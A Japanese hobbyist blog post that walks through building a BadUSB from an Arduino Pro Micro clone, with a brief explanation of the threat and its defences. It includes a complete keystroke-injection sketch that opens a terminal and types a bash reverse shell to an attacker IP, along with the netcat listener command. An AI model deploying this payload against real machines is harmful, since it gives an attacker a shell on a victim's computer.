BadUSBを作ってみた話
この記事はBadUSBに関する技術を学び危険さを理解するために執筆されたものです。許可なく他人の電子機器に不利益を与えるような行為を教唆・推奨するものではありません。
はじめに
明けましておめでとうございます。
お正月は少女終末旅行というアニメを見ていました。ケッテンクラートよきかな。
はい、例のリレーブログです。
今回のテーマはBadUSB。
Arduinoを使って簡単に作れるので今回は珍しく実際にやってみようと思います。
BadUSBとは
そもそも論としてBadUSBとは、悪質なプログラムが仕込まれたUSB機器の事を指します。
一部のファームウェア書き換え可能なUSBデバイスに不正な動作を引き起こすプログラムを書き込むことで作成できます。 よくあるのはHID(キーボードやマウス)として認識させ不正なコマンドを実行するとかですね。ファイルの削除やマルウェアのダウンロードetc...
PC側はUSBデバイスのファームウェアを見ることができない為、接続後の検知は困難です。 私たちにできる対策と言えば信頼できないUSBデバイスは接続しないくらいしかありません。
USBのファームウェアなのでできることは限られていますが、工夫次第で色々な悪用ができてしまうのです。
ちなみにKasperskyのブログにこんな記事がありました。
USBデバイスのふるまいを自動追跡し、不審なふるまいをするデバイスをブロックすることでBadUSBの被害を抑える技術の開発に成功したとのこと。
実装されているのが法人向けのセキュリティソフトという事でハードルは高いですが、一応対策方法はゼロではないみたいですね。
そういえば某キャンプにはこのような講義がありました。
私は受けていないので詳しいことは分からないのですが、技術的にBadUSBと近かったのかもしれません。
ただ今回はArduinoを使って簡単に実装しているのに対して、講義ではUSBのファームウェアの書き換えからやっているようなのでレベルは大きく違いますね。
BadUSBを作る
Arduinoの調達
先ほどArduinoを使って実装すると書いた通り、今回はUSBのファームウェアの書き換えなどはやらずにArduino(の互換機)を使って作ります。
理由は、単純に市販のUSBデバイスのファームウェアを書き換えるという事の難易度が高いからです。調べてみましたが一筋縄ではいかなそう……。時間があるときにいつかやってみたいですがリレーブログは期限があるので今回は無し。
対してArduino互換機であれば1000円程度で確実に作れます。
ただ一つの注意する点としては、HID機能に対応しているチップの乗ったArduinoでなければいけません。
具体的にはAtmega32U4の乗ったArduino Leonardo もしくはArduino pro micro(互換機)であれば問題ないかと思います。
https://www.amazon.co.jp/gp/product/B07J55YWKZ/ref=ppx_yo_dt_b_asin_title_o01_s00?ie=UTF8&psc=1www.amazon.co.jp
私はこの999円の奴を買いました。想像以上に安くて小さかったです。
こいつについているのはmicro USBのメス端子なのでBadUSBとしては少し使いづらいです。下のようなmicro USBオス → USB type A オスのアダプタでも指してやりましょう。
これもアマゾンで色々な端子の奴が10個くらいセットになっていて500円でした。
合体!!!!!
これだけでなんかBadUSBぽいですね。怪しさ満点です。
そしてハードウェアに関してやることはこれだけです。簡単だね!
Arduino IDEの設定
Pro microの場合は別途SparkFunのボードマネージャーを追加してボードをインストールしてください。
そしてプロセッサの電圧、周波数は実機と同じかしっかりと確認してください。
私は5V 16MHzのモデルに3.3V 8MHzで書き込んでしまいWindowsがpro microを認識しなくなってしまいました。 下の記事に対処法が書かれておりなんとかなったのですが、とても面倒くさかったです。 okiraku-camera.tokyo
プログラミング
といっても大したコードじゃないんですけどね。
#include "Keyboard.h" void setup() { // キーボード接続開始 Keyboard.begin(); delay(1000); // ターミナルの起動 Keyboard.press(KEY_LEFT_GUI); Keyboard.press('s'); delay(50); Keyboard.releaseAll(); Keyboard.print("terminal"); delay(100); Keyboard.press(KEY_RETURN); delay(50); Keyboard.releaseAll(); delay(1000); // Bashに入る Keyboard.print("bash"); delay(100); Keyboard.press(KEY_RETURN); delay(50); Keyboard.releaseAll(); delay(300); // リバースシェルを立ち上げる Keyboard.print("bash -i >^ /dev/tcp/$ipaddress/$port 0>^1"); delay(300); Keyboard.press(KEY_RETURN); delay(50); Keyboard.releaseAll(); } void loop(){}
見ての通り何の変哲もないリバースシェルを立ち上げるプログラムです。
リバースシェルにピンとこない方は適当に調べてみて下さい。簡単に言えばシェルを自分から攻撃者に渡しに行くようなようなプログラムです(適当)。
ちなみに想定はUbuntu 20.04 ですがWSL2を使っていてかつWindows TerminalがインストールされているのであればWindows10でも動作します。
Winキー + s でアプリケーションの検索を立ち上げ terminal を入力して起動→リバースシェルコマンドを打っているだけですので……。
基本的にコメント通りなのですが、いくつかコードの補足説明を。
頻繁にdelay()をいれているのは、そうしないとキー入力が早すぎて期待通り動作してくれないからです
ターミナルを起動した後いったんbashに入っているのは、zshなどからでは /dev/tcp/ipaddress/port を実行できないからです(後で思ったんですが、bash -c "command"を使えば一行で済みますね。はい)
リバースシェルが bash -i >^ /dev/tcp/$ipaddress/$port 0>^1 となっていますが、本当は bash -i >& /dev/tcp/$ipaddress/$port 0>&1 です。これはArduinoのキーボードライブラリがJIS配列に対応していない為であり実際に入力されるのは後者です(日本語キーボード環境のみ)
適当に受信側がnc -lvnp $port とかやっておけばUSBを指して数秒でシェルが取れます。
ちなみに実演動画もあります。
見やすさのためターミナルがクソデカフォントです。
USBがうまく入らなくて滑稽なのはご了承ください。
BadUSBでReverse Shell(クソデカふぉんと) pic.twitter.com/nuvGajhR5D
— あまめ (@amame04) 2022年1月11日
分かりにくいかもしれませんが、左のモニターが攻撃者のPC画面(NetCatで待ち受けてる)で右側のノートPCが被害者側(USBを指した直後にターミナルが起動してリバースシェルコマンドが打ち込まれている)です。 最終的に右のノートPC(ok@ok-CF-NX2)のシェルを左のPCで取ることができています。
おわりに
結構楽しかったです。
ターミナルを終了させれば簡単に接続が途切れるのでこのコードで現実的に悪用するのは難しいと思いますが、工夫次第で色々できそうですね。
もちろん変なことはしちゃだめですよ?
(BadUSBとは何の関係もないですが、Discord見た限りうちのグループワークが最長で続いているのでは疑惑ありますね。)